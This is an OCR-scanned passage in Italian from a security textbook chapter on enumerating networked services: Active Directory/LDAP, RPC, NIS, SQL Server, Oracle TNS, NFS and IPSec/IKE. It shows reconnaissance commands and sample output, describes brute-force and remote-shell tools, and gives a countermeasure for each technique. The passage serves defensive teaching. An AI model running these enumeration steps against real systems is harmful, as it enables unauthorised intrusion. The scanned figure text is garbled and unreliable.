BazeliM: |dc=labfarce,dc=nrg

Cancel

. Nel riquadro di sinistra appare una struttura ad albero. Fate clic sul segno piu (+)

per aprirla rivelando gli oggetti base sotto la radice della directory.

. Fate doppio clic sui contenitori CN=Users e CN=DBuiltin: si apriranno enumerando

tutti gli utenti e 1 gruppi interni sul server, rispettivamente. Il contenuto di Users ¢
mostrato nella Figura 3.12.
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h;,;;- Idap:://bigdc_labfarce org/DC=lablarce DC=org
Connection  Browse “iew Optiong  Utilities

-1 de=labfarce.de=oig =
+|- CH=Builtin,0' C=labfarce 0 C=arc
CH=Computers,DC=labfarce D
OU=Domain Controllers,D C=lab
CH=FareignSecurityPrincipals.C
CM=lnfrastructure, DC=labfarce,

Expanding base
'CM=Builtin,DC=labfarce,DC=org"...
Result <0>: [null]

Matched DNs:

Getting 1 entries:

>> Dn: CN=Builtin,DC=labfarce,DC=0org

CM=LosténdFound DC=labfarc 1> cn: Builtin;
CM=System,DC=labfarce, DC=0 1> creationTime:
-8 126074513402599824;

CM=Administrator, CH =Ll zer:
CM=Cert Publishers,.CN=Uz | F922337203685%4775808;

1> forceLogoff:

CM=Dingddmins, CH=Users,
CH=Dnsl)pdateProsy CH=__1
CM=Dromain Adrming, Ch =11
CM=Diomain Computers.CH - F18000000000;
CM=Damain Cantrallers, CM: 1> lockoutDuration:
CH=Domain Guests,CM=Us  F18000000000;
CM=Dlomain Users, CN=Lze 1 lockoutThreshold: 0;
CM=Enterprise Admins,CM=_ 1> maxPwdAge:
1] R ilJ F37108517437440; =
Ready

1> instanceType: 4;
1> isCritical SystemObject: TRUE;
1> lockQutObservationWindow:

Figura 3.12 Lo strumento di amministrazione di Active Directory, |dp.exe,
enumera utenti e gruppi di Active Directory attraverso una connessione autenticata.

Come ¢ possibile fare tutto cio con una semplice connessione guest? Alcuni vecchi servizi
di NT4 (come il servizio di accesso remoto e SQL Server) devono essere in grado di
cercare gli oggetti utente e gruppo in AD. La routine di installazione di AD di Windows
2000 (dcpromo) chiede se I'utente vuole allentare 1 permessi di accesso sulla directory
per consentire ai server pit vecchi di eseguire queste ricerche, come ¢ mostrato nella
Figura 3.12. Se durante I'installazione si sceglie di allentare i permessi, gli oggetti utente
e gruppo saranno esposti all’enumerazione via LDAP.

In Linux svolgere 'enumerazione di LDAP ¢ altrettanto semplice, utilizzando LUMA
(Luma. sourceforge.net/) o lo strumento JXplorer (jxplorer.org/), basato su Java. Entrambi
questi strumenti hanno un’interfaccia grafica, percio ¢ necessario eseguirli da X Windows.
In alternativa si puo utilizzare ldapenum (sourceforge.net/projects/ldapenum), uno script
Perl della riga di comando utilizzabile sia con Linux sia con Windows.

o Contromisure contro I'enumerazione di Active Directory

Innanzitutto € necessario filtrare ’accesso alle porte 389 e 3268 sul perimetro della rete.
A meno che non intendiate esporre 'AD agli occhi di tutti, non dovete mai fornire la
possibilita di accedere senza autenticazione.

Per evitare che queste informazioni risultino accessibili a persone non autorizzati su reti
interne semitrusted, ¢ necessario rendere piu stringenti 1 permessi su AD. La differenza
tra la modalita che mantiene la compatibilita con 1 vecchi sistemi (meno sicura) e la
modalita nativa di Windows 2000 sta in sostanza nei membri del gruppo interno locale
denominato “Accesso compatibile precedente a Windows 2000 (il nome reale ¢ in inglese
“Pre-Windows 2000 Compatible Access”). Questo gruppo ha per default i permessi di
accesso alla directory mostrati nella Tabella 3.4.
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Tabella 3.4 Permessi su oggetti utente e gruppo di Active Directory
per il gruppo “Accesso compatibile precedente a Windows 2000".

Oggetto Permesso Vale per
Root Elenca contenuto Loggetto presente e tutti i figli
Oggetti utente Elenca contenuto, Leggi tutte le proprieta, Oggetti utente

Leggi 1 permessi

Oggetti gruppo Elenca contenuto, Leggi tutte le proprieta, Oggetti gruppo
Leggi 1 permessi

La procedura di installazione di Active Directory aggiunge automaticamente Everyone
al gruppo “Accesso compatibile precedente a Windows 2000” se si seleziona 'opzione
corrispondente nella finestra mostrata nella Figura 3.13. Everyone ¢ un gruppo speciale
che comprende sessioni autenticate con qualsiasi utente; se lo si rimuove dal gruppo
“Accesso compatibile precedente a Windows 2000 (e si riavviano i controller di domi-
nio), il dominio opera con il livello di sicurezza maggiore offerto da Windows 2000. Se
avete la necessita di ridurre il livello di sicurezza per qualche motivo, potete aggiungere
nuovamente Everyone eseguendo il seguente comando al prompt:

net localgroup "Pre-Windows 2000 Compatible Access" everyone /add

Active Directory Installation Wizard

Permissions
Select default permizsions for uzer and group objects.

Some zerver programs, such as Windows NT Remote Access Service, read information
ztored on domain controllers.

* Permission: compatible with presfindows 2000 servers

Select thiz option if you run server programs on pre-windows 2000 servers or oh
Windows 2000 servers that are members of pre-wWindows 2000 domains.

i‘. Anonymous users can read information of thiz domain.

" Pemmissions compatible anly with Windows 2000 servers

Select thiz option if you run server programs only on *Windows 2000 servers that are
members of Windows 2000 domainz. Only authenticated wzers can read information
on thiz domain,

< Back | Mext = | Cancel

Figura 3.13 La procedura di installazione di Active Directory (dcpromo) chiede
se si desiderano allentare i permessi di default per oggetti utente e gruppo,
allo scopo di ottenere maggiore compatibilita con i sistemi precedenti.
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Per ulteriori informazioni potete consultare I'articolo della knowledge base Q240855
presso support.microsoft.com/kb/240855.

11 controllo d’accesso impostato per i membri del gruppo “Accesso compatibile prece-
dente a Windows 2000” vale anche per le query eseguite su sessioni null NetBIOS. Per
illustrare questo punto, consideriamo 1 due impieghi dello strumento enum (descritto in
precedenza) nell’esempio che segue. La prima volta, enum € eseguito su una macchina
con Windows 2000 Advanced Server in cui Everyone ¢ membro del gruppo “Accesso
compatibile precedente a Windows 2000”":

C:\>enum -U corp-dc

server: corp-dc

setting up session... success.

getting user list (pass 1, index 0)... success, got 7.
Administrator Guest IUSR_CORP-DC IWAM CORP-DC krbtgt
NetShowServices TsInternetUser

cleaning up... success.

Ora rimuoviamo Everyone dal gruppo “Accesso compatibile precedente a Windows
20007, riavviamo ed eseguiamo di nuovo la stessa query con enum:

C:\>enum -U corp-dc

server: corp-dc

setting up session... success.

getting user list (pass 1, index 0)... fail
return 5, Access is denied.

cleaning up... success.

" Enumerazione di RPC UNIX, TCP/UDP 111 e 32771
Popolarita: 7
Semplicita: 10
Impatto: 1

Grado di rischio: 6

Come qualsiasi risorsa di rete, le applicazioni necessitano di un mezzo per comunicare tra
di loro in rete. Uno dei protocolli piu diffusi che offrono tale possibilita ¢ RPC (Remote
Procedure Call), che utilizza un servizio denominato portmapper (ora € noto come rpcbind)
per gestire le richieste dei client e le porte che assegna dinamicamente alle applicazioni
in ascolto. Nonostante 1 problemi che ha sempre creato agli amministratori di firewall,
RPC rimane un protocollo estremamente diffuso. Lo strumento rpcinfo € 'equivalente di
finger per enumerare le applicazioni RPC in ascolto su host remoti e puo essere utilizzato
su server rilevati in ascolto sulla porta 111 (rpcbind) o 32771 (portmapper alternativo di
Sun) in scansioni precedenti:

[root$]rpcinfo -p 192.168.202.34
program vers proto port
100000 2 tdp 111 rusersd

100002 3 udp 712 rusersd
100011 2 udp 754 rquotad
100005 1 udp 635 mountd
100003 2 udp 2049 nfs
100004 2 tep 778 ypserv
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Questo indica agli hacker che I'host esegue rusersd, NES e NIS (ypserv ¢ il server NIS).
Quindi, rusers e showmount -e forniscono ulteriori informazioni (questi strumenti sono
discussi pit avanti in questo capitolo).

Per I'integrazione di Windows in ambienti UNIX, Microsoft ha sviluppato Windows
Services for UNIX (SFU), disponibile gratuitamente presso technet.microsoft.com/en-us/
library/bb496506.aspx. Questo pacchetto puo risultare un po’ pesante, ma fornisce molti
strumenti utilizzati sotto UNIX, quali showmount e rpcinfo, progettati in modo da riprodurre
le loro controparti UNIX in modo da presentare sintassi e output praticamente identici:

C:\>rpcinfo -p 192.168.202.105
program Version Protocol Port

100000 2 tcp 7938 portmapper
100000 2 udp 7938 portmapper
390113 1 tcp 7937
390103 2 tep 9404
390109 2 tcp 9404
390110 1 tcp 9404
390103 2 udp 9405
390109 2 udp 9405
390110 1 udp 9405
390107 5 tcp 9411
390107 6 tcp 9411
390105 5 tcp 9417
390105 6 tep 9417

Gli hacker possono utilizzare altri trucchi con RPC. Solaris, la versione di Unix di Sun,
esegue un secondo portmapper sulle porte superiori alla 32771; percio, una versione
modificata di rpcinfo su queste porte potrebbe restituire le informazioni precedenti da
un box Solaris anche se la porta 111 fosse bloccata.

Il migliore strumento di scansione RPC secondo la nostra esperienza ¢ Nmap, discusso
nei dettagli nel Capitolo 8. Con rpcinfo gli hacker devono fornire argomenti specifici per
cercare applicazioni RPC. Per esempio, per verificare se il sistema bersaglio all’'indirizzo
192.168.202.34 esegue il server TTDB (ToolTalk Database), che ha una vulnerabilita
nota, si potrebbe digitare:

[root$]rpcinfo -n 32776 -t 192.168.202.34 100083

100083 ¢ il “numero di programma” RPC per TTDB.
Con Nmap, invece, non ¢ necessario tirare a indovinare specifici numeri di programma
(per esempio 100083), basta indicare I'opzione —sR e pensa a tutto nmap:

[root$]nmap -sS -sR 192.168.1.10

Starting Nmap 4.62 ( http://nmap.org ) at 2008-07-18 20:47 Eastern Daylight Time
Interesting ports on (192.168.1.10):

Not shown: 1711 filtered ports

Port State Service (RPC)

23/tcp open telnet

4045/tcp  open lockd (nlockmgr Vi-4)
6000/tcp  open X11

32771/tcp open sometimes-rpc5 (status Vi)
32772/tcp open sometimes-rpc7 (rusersd V2-3)

32773/tcp open sometimes-rpc9 (cachefsd Vi)
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32774/tcp open sometimes-rpc11 (dmispd V1)
32775/tcp open sometimes-rpc13 (snmpXdmid V1)
32776/tcp open sometimes-rpc15 (tttdbservd Vi)

Nmap done: 1 IP address (1 host up) scanned in 27.218 seconds

c Contromisure contro 'enumerazione di RPC

Non esiste un modo semplice per limitare il rilascio di informazioni, a parte quello di
utilizzare una forma di autenticazione per RPC (si consiglia di consultare il produttore
del pacchetto in uso per sapere quali opzioni sono disponibili). In alternativa, si puo
utilizzare un pacchetto come Secure RPC di Sun che esegue autenticazione con mec-
canismi di crittografia a chiave pubblica. Infine, occorre assicurarsi che le porte 111 e
32771 (rpcbind), come tutte le altre porte RPC, siano filtrate sul firewall o disabilitate
sul sistemi UNIX/Linux.

0 “ rwho (UDP 513) e rusers (RPC Program 100002)

Popolarita: 3
Semplicita: 8
Impatto: 1
Grado di rischio: 4

Tra i programmi simili a finger ne esistono due poco utilizzati, rusers e rwho. rwho restitu-
isce gli utenti attualmente connessi a un host remoto che esegue il daemon rwho (xwhod):

[root$] rwho 192.168.202.34

root localhost:ttypo Apr 11 09:21
jack beanstalk:ttyp1 Apr 10 15:01
jimbo 192.168.202.77:ttyp2 Apr 10 17:40

rusers restituisce un output simile ma con qualche informazione in piu se si utilizza I'op-
zione -1, che include il tempo trascorso dall’ultima volta che I'utente ha digitato qualcosa
alla tastiera. Questa informazione ¢ fornita dal programma rpc.rusersd, se € in esecuzione.
Come si ¢ spiegato nel paragrafo precedente, i portmapper RPC generalmente sono ese-
guiti sulle porte TCP/UDP 111 e TCP/UDP 32771 su alcuni box Sun. Ecco un esempio
in cui vediamo il client rusers che enumera gli utenti connessi su un sistema Unix:

[root$] rusers -1 192.168.202.34
root 192.168.202.34:tty1 Apr 10 18:58:51
root 192.168.202.34:ttypo Apr 10 18:59:02 (:0.0)

c Contromisure contro I'impiego di rwho e rusers

Come finger, questi servizi andrebbero semplicemente disattivati. Generalmente sono
avviati in modo indipendente dal superserver inetd, percid occorre cercare riferimenti
a rpc.rwhod e rpc.rusersd negli script di startup (solitamente si trovano in /etc/init.d e
in /etc/xc*.d) dove vengono avviati come servizi autonomi. Basta quindi contrassegnare
come commenti le righe corrispondenti, utilizzando il carattere #.
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c/' " Enumerazione di NIS, programma RPC 100004

Popolarita:

3
Semplicita: 8
Impatto: 1

Un’altra potenziale fonte di informazioni di rete UNIX ¢ NIS (Network Information System),
un ottimo esempio di una buona idea (un database distribuito di informazioni di rete)
implementata male, senza pensare abbastanza alla sicurezza. Il principale problema di NIS
¢ questo: una volta che si conosce il nome di dominio NIS di un server, si puo ottenere
qualsiasi mappa NIS utilizzando una semplice query RPC. Le mappe NIS sono database
distribuiti contenenti le informazioni fondamentali per ciascun host del dominio, come
il contenuto det file passwd. Un attacco tradizionale al NIS comporta 'uso di strumenti
client per cercare di individuare il nome di dominio, oppure di uno strumento come
pscan, scritto da Pluvius e disponibile su molti siti con materiali per hacker, che ¢ in grado
di restituire le informazioni di interesse se si utilizza I'argomento -n.

Q Contromisure contro I'enumerazione di NIS

Avviso per chiunque utilizzi ancora NIS: non servitevi di una stringa facile da indovinare
per il nome di dominio (nome dell’azienda, nome DNS e cosi via), perché cosi sarebbe
semplice per gli hacker ottenere informazioni varie e perfino i database delle password. Se
non siete intenzionati a passare a NIS+ (che supporta la cifratura dei dati e 'autenticazione
su secure RPC),almeno modificate il file /var/yp/securenets in modo da limitare I'accesso
a host/reti definiti, o compilate ypserv con il supporto opzionale per TCP Wrapper. Inoltre,
non inserite informazioni su root e altri account di sistema nelle tabelle NIS.

c/' * Enumerazione del servizio di risoluzione SQL, UDP 1434

Popolarita: 5
Semplicita: 8
Impatto: 2
Grado di rischio: 5

Microsoft SQL Server in passato ha sempre utilizzato la porta TCP 1433 per le connessioni
client. A partire da SQL Server 2000, Microsoft ha introdotto la possibilita di ospitare
piu istanze di SQL Server sullo stesso computer fisico (un’istanza pud essere considerata
come un SQL Server virtuale e distinto). Il problema ¢ che, secondo le regole del TCP/
IP, la porta 1433 puo essere la porta SQL di default soltanto per una delle istanze presenti
su una macchina, le altre devono essere assegnate a una porta TCP diversa. Il servizio
SQL Server 2000 Resolution Service, diventato poi SQL Server Browser Service in SQL
Server 2005 e versioni successive, individua quali istanze sono in ascolto e su quali porte
per client remoti; questo servizio in pratica ¢ analogo al portmapper di RPC. Sia il ser-
vizio SQL Server Resolution Service, sia il suo successore SQL Server Browser Service
si mettono in ascolto sulla porta UDP 1434.

Chip Andrews di sglsecurity.com ha rilasciato uno strumento Windows denominato
SQLPing (sqlsecurity.com/Tools/FreeTools/tabid/65/Default.aspx) che interroga la porta
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UDP 1434 e restituisce le istanze in ascolto su una determinata macchina, come si vede
nella Figura 3.14. SQLPing oftre anche una nutrita serie di funzionalita complementari,
come la scansione di intervalli di indirizzi IP e un meccanismo per portare un attacco di
forza bruta che consente agli hacker di fare scorribande nei sistemi SQL mal configurati.

c Contromisure contro 'enumerazione di istanze SQL

Sul sito di Chip Andrews, sqlsecurity.com, sono elencate diverse misure utilizzabili
per nascondere 1 propri server a strumenti come SQLPing. La prima ¢ la solita racco-
mandazione di limitare Iaccesso al servizio utilizzando un firewall. C’¢ poi il consiglio
alternativo di rimuovere tutte le librerie di comunicazione di rete utilizzando la Server
Network Utility: in questo modo il server SQL diventa muto e invisibile, a meno che
non si specifichi (local) o . (un punto) come nome di server, nel qual caso saranno pos-
sibili soltanto le connessioni locali. Infine, ¢ possibile utilizzare 'opzione “hide server”
sotto TCP/IP netlib nella Server Network Ultility e rimuovere tutte le altre librerie di
rete. Chip afferma di aver riscontrato talvolta lo spostamento della porta TCP di de-
fault sulla porta 2433, effettuando questa operazione, percio ¢ bene prestare attenzione.

ﬂ SQLPing v3.0 - hitp:/fwww.sqlsecurity.com

File Help
Scan IOptions]
Scan Type Results

" Active (IP Range) =-10.219.1.207 (FSW2K3V2) [2.0.2039 (guess) ]
- ServerlP - 10.219.1.207

£ Active (IP List) . TCPPort ; 1433

" Stealth - ServerMName : FSW2K3
- InstanceMame : MS5QLSERVER
IF Range - BaseVersion : §.00.154

- S5 NetlibVersion : 8.0.2039

Start: [10.219.1.1 . TrueVersion :
A - ServiceAccount
End [102191254
10.215.1.254 - |sClustered : No
Clear | Drs Lookup | 1.25¢ | & Details

(UDP)ServerMName;FSW2K3  :InstanceMName;MSSQLSERVER:ls
B [ et ‘- [SA)Server present but blank SA login failed

- DetectionMethed : UDP TCP SA
Browse |

User List

userist b Browse |

Password List

ng&me < ] 1l [ >]

[ ‘ Expand Al |

Scan Complete (1 instances found )

Figura 3.14 SQLPing effettua una scansione per cercare istanze di SQL Server
e prova a determinare alcune password.
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N1/
""" Enumerazione di Oracle TNS, TCP 1521/2483
Popolarita: 5
Semplicita: 8
Impatto: 2
Grado di rischio: 5

I1 listener Oracle TNS (Tiansparent Network Substrate), rilevato di solito sulla porta TCP
1521, gestisce il traffico del database client/server. Il TNS puo essere suddiviso in due
funzioni: tnslsnr e lsnrctl. Le comunicazioni del database client/server sono gestite
principalmente da tnslsnr, mentre lsnrctl gestisce 'amministrazione di tnslsnr. Provan-
do a sondare il listener Oracle TNS, o piu specificamente la funzione 1snrctl, si possono
ottenere informazioni utili quali il SID del database, la versione, il sistema operativo e
varie altre opzioni di configurazione. E molto utile conoscere il SID del database, che
¢ richiesto al momento del login; conoscendo il SID di un particolare database Oracle,
un hacker potrebbe lanciare un attacco di forza bruta contro il server. Oracle ¢ noto per
utilizzare molti account di default che sono quasi sempre validi quando ¢ disponibile
Penumerazione TNS (se gli amministratori del database non si preoccupano di bloccare
il servizio listener, perché dovrebbero preoccuparsi di rimuovere gli account di?).

Uno degli strumenti piu semplici per controllare il listener Oracle TNS ¢ AppSentry
Listener Security Check (integrigy.com/security-resources/downloads/1snrcheck-tool) di
Integrigy. Si tratta di un’applicazione freeware per Windows con cui I'attivita di enume-
razione di TNS diventa facile come bere un bicchiere d’acqua.

Per chi non ama le GUI, tnscmd.pl € uno strumento di enumerazione di Oracle TNS
scritto in Perl da jwa e poi modificato e rinominato in tnscmd10g.pl da Saez Scheihing
per supportare il listener TNS di Oracle 10g. Questi strumenti consentono di eseguire
I’enumerazione del listener TNS, ma esistono altre suite che offrono realmente tutte le
pit comuni funzionalitd necessarie per un attacco ai database Oracle.

OAK (Oracle Assessment Kit) di David Litchfield, disponibile presso databasesecurity.com/
dbsec/0AK.zip,e OAT (Oracle Auditing Tools) di Patrik Karlsson, disponibile presso cqure.
net/wp/test/,sono due suite di enumerazione che offrono funzionalita simili. Ciascuna ha
i suoi punti di forza, ma entrambe si basano principalmente sull’enumerazione di TNS,
SID e attacchi di forza bruta per ottenere le password. Gli strumenti specifici disponibili
in ciascuna suite sono elencati nelle Tabelle 3.5 e 3.6.

Infine, per le attivita di enumerazione del SID piu semplici, Patrik Karlsson ha sviluppato
lo strumento getsids (cqure.net/wp/getsids/).

Q Contromisure contro I'enumerazione di Oracle TNS

Arup Nanda ha creato Project Lockdown (oracle.com/technetwork/articles/index-087388.
html) per risolvere i problemi di enumerazione di TNS e per migliorare la sicurezza
dell'installazione di default di Oracle. Il suo articolo descrive come configurare permessi
piu rigidi e come impostare la password sul listener TNS in modo che chiunque voglia
interrogare il servizio debba fornire una password per ottenere informazioni. Per Oracle
10g e versioni successive I'installazione di default ¢ un po’ piu sicura, ma anche in queste
versioni esistono dei difetti. Integrigy ha fornito un eccellente documento sulla sicurezza
di Oracle che descrive in ulteriori dettagli questo tipo di attacco e spiega anche come
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proteggere meglio Oracle; I'articolo si trova presso integrigy.com/security-resources/
whitepapers/Integrigy Oracle Listener TNS_Security.pdf.

Tabella 3.5 OAK (Oracle Assessment Kit).

Strumento Descrizione

ora-brutesid Strumento per attacchi di forza bruta al SID Oracle, che tentano di generare
e verificare tutti i possibili valori SID in un dato spazio di chiavi.

ora-getsid Strumento per individuare il SID che utilizza un file fornito dall’hacker.
OAK mette a disposizione il file sidlist.txt, che contiene i SID Oracle
pit comuni.

ora-pwdbrute Strumento per attacchi di forza bruta alle password, utilizzando un file fornito
dall’hacker. OAK mette a disposizione il file passwords.txt, con alcune password
comuni per gli account Oracle di default.

ora-userenum Attacco di forza bruta ai nomi utente utilizzando un file fornito dall’hacker.
OAK mette a disposizione il file userlist.txt, che contiene tutti i nomi utente

di default Oracle.
ora-ver Interroga direttamente il listener Oracle TNS per ottenere informazioni.
ora-auth-alter-session Tenta di sfruttare la vulnerabilita auth-alter-session in Oracle.

Tabella 3.6 OAT (Oracle Auditing Tools).

Strumento Descrizione

opwg Oracle Password Guesser. Esegue enumerazione di SID e attacchi di forza
bruta, inoltre sonda la presenza di account Oracle di default.

oquery Oracle Query. Strumento di base per query SQL in Oracle.

osd Oracle SAM Dump.Visualizza il SAM del sistema operativo Windows attraverso

il servizio Oracle utilizzando pwdump/TFTP.

ose Oracle SysExec. Consente I'esecuzione remota di comandi sul sistema operativo
sottostante. Nella modalita automatica, ose invia netcat al server e apre una

shell sulla porta 31337.

otnsctl Oracle TNS Control. Interroga direttamente il listener Oracle TNS per ottenere
informazioni.

c/' " Enumerazione di NFS, TCP/UDP 2049

Popolarita: 7
Semplicita: 10
Impatto: 1

Grado di rischio: 6

Lutility Unix showmount ¢ utile per enumerare file system esportati con NFS in una rete.
Per esempio, supponiamo che una precedente scansione abbia rilevato che la porta 2049
(NES) ¢ in ascolto su un potenziale obiettivo. Allora si puo utilizzare showmount per sapere
esattamente quali directory sono condivise:

[root$] showmount -e 192.168.202.34
export list for 192.168.202.34:
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/pub (everyone)
/var (everyone)
/ust user

Il parametro -e visualizza Pelenco di esportazioni del server NES. Per utenti Windows,
il comando showmount ¢ supportato anche da Windows Services for UNIX (citato in
precedenza).

Q Contromisure contro I'enumerazione di NFS

Sfortunatamente non ¢’¢ molto da fare per chiudere questa falla, poiché ¢ insita nel com-
portamento di default di NES. Occorre assicurarsi che i file system esportati dispongano
dei permessi appropriati (le operazioni di lettura/scrittura dovrebbero essere limitate a host
specifici) e che NFS sia bloccato sul firewall (porta 2049). Si possono anche registrare in
file di logo le richieste showmount, un altro buon modo per intercettare eventuali intrusi.
NES non ¢ piu il solo sistema di condivisione di file system che si trova su sistemi Unix/
Linux, grazie alla crescente popolarita della suite software open source Samba, che fornisce
servizi di file e stampa per client SMB. Il protocollo SMB (Server Message Block) ¢ alla
base delle reti Windows, come abbiamo visto in precedenza. Samba ¢ disponibile presso
samba.org ed ¢ incluso in molte distribuzioni Linux. Il file di configurazione del server
Samba (/etc/smb.conf) mette a disposizione vari parametri per la sicurezza molto semplici,
tuttavia occorre tenere presente che un’errata configurazione puo generare condivisioni
di rete non protette.

\1/
""" Enumerazione di IPSec/IKE, UDP 500
Popolarita: 6
Semplicita: 6
Impatto: 9
Grado di rischio: 7

Portare un attacco a un sistema protetto da un firewall non ¢ poi cosi difficile, perché
anche gli ambienti di dimensione moderata spesso presentano una “superficie d’attacco”
troppo ampia perché gli amministratori siano in grado di proteggere tutto al livello che
anche un modesto hacker ¢ in grado di raggiungere. Di conseguenza, ai primi posti della
lista degli obiettivi di qualunque hacker c’e I'ottenere accesso alla rete interna del bersa-
glio, cosa che si ottiene naturalmente quando si sfrutta la vulnerabilitd di una tecnologia
di accesso remoto come IPSec.

Per violare unaVPN IPSec nelle fasi successive dell’attacco,’hacker deve prima enumerare
il componente di IPSec che gestisce le negoziazioni di chiave, IKE (Internet Key Exchange),
al fine di determinare dove si trovi esattamente [PSec e dove colpirlo. Determinare I'esi-
stenza di unaVPN IPSec non ¢ solitamente possibile con una scansione di porta standard
della porta UDP 500 IKE, dato che 1 pacchetti formattati in modo errato dovrebbero
essere ignorati in modo silente da qualsiasi servizio IPSec.

ike-scan di NTA Monitor (nta-monitor.com/tools/ike-scan/) ¢ un eccellente strumento di
enumerazione di [PSec, ed ¢ in grado di confezionare 1 pacchetti destinati a un host (o a
un intervallo di host) nella forma che un server IPSec si aspetta e in un modo che consente
di smascherare la sua presenza e di rivelare informazioni utili sulla sua configurazione.
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Tra le informazioni utili che si ottengono con ike-scan vi sono se il server VPN esegue
l'autenticazione con chiavi precondivise o certificati, se utilizza I'opzione Main Mode
o Aggressive Mode, quali protocolli di cifratura utilizza e il produttore (talvolta anche la
revisione del software). La scoperta di VPN con chiave precondivisa e Aggressive Mode
generalmente significa che ¢ possibile interrogare il server VPN per ottenere un hash
della chiave. ike-scan mette a disposizione uno strumento denominato psk-crack che puo
sfruttare tale hash in fasi successive dell’attacco e tentare di utilizzarlo in un attacco di
forza bruta o di dizionario per scoprire la chiave originale. Osservate ike-scan in azione,
mentre esegue la scansione per la modalita Main Mode su questa rete (aggiungete -A o
--aggressive per eseguire la scansione per la modalita Aggressive Mode):

# ./ike-scan 10.10.10.0/24

Starting ike-scan 1.9 with 256 hosts \
(http://www.nta-monitor.com/tools/ike-scan/)

10.10.10.1 Main Mode Handshake returned HDR=(CKY-R= 42c304f96fa8f857) \
SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 \

LifeType=Seconds LifeDuration(4)=0x00007080) VID=
f4ed19e0cc114eb516faaacoee37dat2807b4381100000001
0000138d4925b9df0000000018000000

(Firewall-1 NGX)

Ending ike-scan 1.9: 1 hosts scanned in 0.087 seconds \
(11.47 hosts/sec). 1 returned handshake; 0 returned notify

c Contromisure contro 'enumerazione di IPSec/IKE

Implementando restrizioni di indirizzo IP di origine su una VPN IPSec ¢ possibile fer-
mare le tecniche appena descritte, anche se spesso gli amministratori devono supportare
gli utenti che si connettono da reti casalinghe con indirizzi IP pubblici e perfino da reti
Wi-Fi di locali pubblici, il che rende questo approccio scarsamente praticabile. Rimane
tuttavia una buona pratica, che generalmente funziona al meglio con connessioni da sito
a sito tra partner.

La modalita Main Mode non lascia fuoriuscire altrettante informazioni della modalita
Aggressive Mode (per esempio I'hash della chiave precondivisa, le informazioni di pro-
dotto), esegue gli scambi di dati tra peer in modo piu sicuro, ed ¢ meno suscettibile ad
attacchi di tipo DoS (Denial of Service), percio conviene utilizzarla ogniqualvolta sia pos-
sibile. La modalita Aggressive Mode, meno sicura, ¢ spesso utilizzata in situazioni in cui
non ¢ possibile fare altrimenti, come quando si utilizza 'autenticazione mediante chiave
precondivisa con client 1 cui indirizzi IP non sono noti in anticipo. Tuttavia, la migliore
soluzione in questo caso ¢ quella di utilizzare la modalita Main Mode con certificati,
anziché le chiavi precondivise. Probabilmente la peggiore configurazione di una VPN
IPSec ¢ quella in cui si usa la modalita Aggressive Mode con 'autenticazione mediante
chiave precondivisa e si impiega per la chiave una password debole.
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Riepilogo

Dopo il tempo, le informazioni occupano il secondo posto nella classifica dei piu potenti
strumenti a disposizione di un hacker. Fortunatamente, le informazioni possono anche
essere utilizzate per attuare misure di protezione. In questo capitolo abbiamo potuto
trattare soltanto alcune delle applicazioni pit comuni, dato che per motivi di spazio e
tempo ¢ impossibile trattare I'infinita varieta di software di rete esistenti. Tuttavia, con i
concetti fondamentali descritti qui, avete a disposizione una buona base di partenza per
chiudere le falle del software installato nella vostra rete. In particolare, abbiamo trattato i
seguenti argomenti.

* Architetture di base del sistema operativo. Il protocollo SMB alla base delle reti
della famiglia Windows N'T consente di ottenere con grande facilita informazioni su
credenziali degli utenti, file system esportati e applicazioni. Proteggete NT e la sua
progenie disabilitando o limitando l'accesso alle porte TCP 139 e 445 e impostando
RestrictAnonymous (o le corrispondenti opzioni di accesso in rete in Windows XP/
Server 2003) secondo quanto suggerito in questo capitolo. Inoltre, ricordate che 1
piu recenti sistemi operativi Windows non hanno risolto del tutto questi problemi e
presentano nuovi punti di attacco in Active Directory, come LDAP e DNS.

* SNMP. Questo protocollo ¢ stato progettato per offrire quante piu informazioni
possibile alle suite di gestione di classe enterprise; agenti SNMP configurati male,
che utilizzano stringhe di comunita di default come “public”, possono fornire questi
dati a utenti non autorizzati.

* Servizi del sistema operativo non sicuri. Finger e rpcbind sono buoni esempi
di programmi che forniscono troppe informazioni. Inoltre, la maggior parte dei
servizi del sistema operativo presenta dei banner contenenti il numero di versione e
il produttore a chiunque li richieda. Conviene disabilitare programmi come finger,
utilizzare implementazioni sicure di RPC o TCP Wrapper e rivolgersi ai produttori
per sapere come disattivare tutti questi banner!

» Applicazioni personalizzate. Anche se non ne abbiamo discusso molto in questo
capitolo, 'aumento di applicazioni web scritte partendo da zero ha fatto aumentare
la quantita di informazioni fornite da codice applicativo sviluppato male. Occorre
collaudare le proprie applicazioni, verificare il progetto e 'implementazione, e man-
tenerle aggiornate con tutte le indicazioni fornite per esempio nel volume Hacking
Exposed Web Applications (webhackingexposed. com).

* Firewall. Molte delle fonti di informazioni sul sistema possono essere filtrate dal
firewall. II fatto di avere a disposizione un firewall non rappresenta una scusa per
non chiudere direttamente le falle sulla macchina interessata, ma ¢ un ottimo modo
per ridurre il rischio di attacco.

Infine, ¢ necessario controllare il proprio sistema in maniera autonoma. Per sapere quali
porte e applicazioni sono aperte ad attivitd di enumerazione sulle proprie macchine,
basta usare Nmap o Nessus, come spiegato in questo capitolo. Inoltre, esistono numerosi
siti Internet che consentono di effettuare scansioni dei sistemi da remoto; uno gratuito,
tra 1 nostri preferiti, si trova all'indirizzo grc.com/x/ne.d11?bhobkyd2. In questo caso viene
eseguita una semplice scansione Nmap di un sistema singolo o di una rete di classe C (il
sistema che richiede la scansione deve rientrare nell'intervallo specificato). Per un elenco
e spiegazioni sulle porte, si consiglia di consultare iana.org/assignments/port-numbers.
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Caso di studio: intrigo internazionale

Mentre l'oscurita scendeva sul verde campus del Zhou Song Institute of Molecular Studies,
un sabato piovoso, un assistente scivolo fuori dall’edificio del dipartimento di biologia
diretta verso la stazione dei treni. Stanco dopo una lunga giornata passata ad analizzare
modelli molecolari nel laboratorio informatico, voleva semplicemente un pasto caldo e
passare qualche tempo a giocare online. Passando lungo I'edificio gli parve di notare delle
luci lampeggiare nel laboratorio, ma diede la colpa agli occhi stanchi e non ci penso piu
di tanto.

All'interno del laboratorio, perd, ¢’erano lavori in corso. Una dozzina di sistemi mul-
tiprocessore Linux e Windows erano in piena attivitd. Non c¢’era nessuno che potesse
accorgersene, tuttavia, perché 1’elaborazione era stata programmata con cura in modo da
partire soltanto nelle sere di sabato, quando pochi avrebbero potuto notarla.

A diversi fusi orari di distanza, un altro computer stava attivandosi. Randall Victor stava
sorseggiando un caffé preparandosi per un’altra giornata da passare analizzando dati sull’ef-
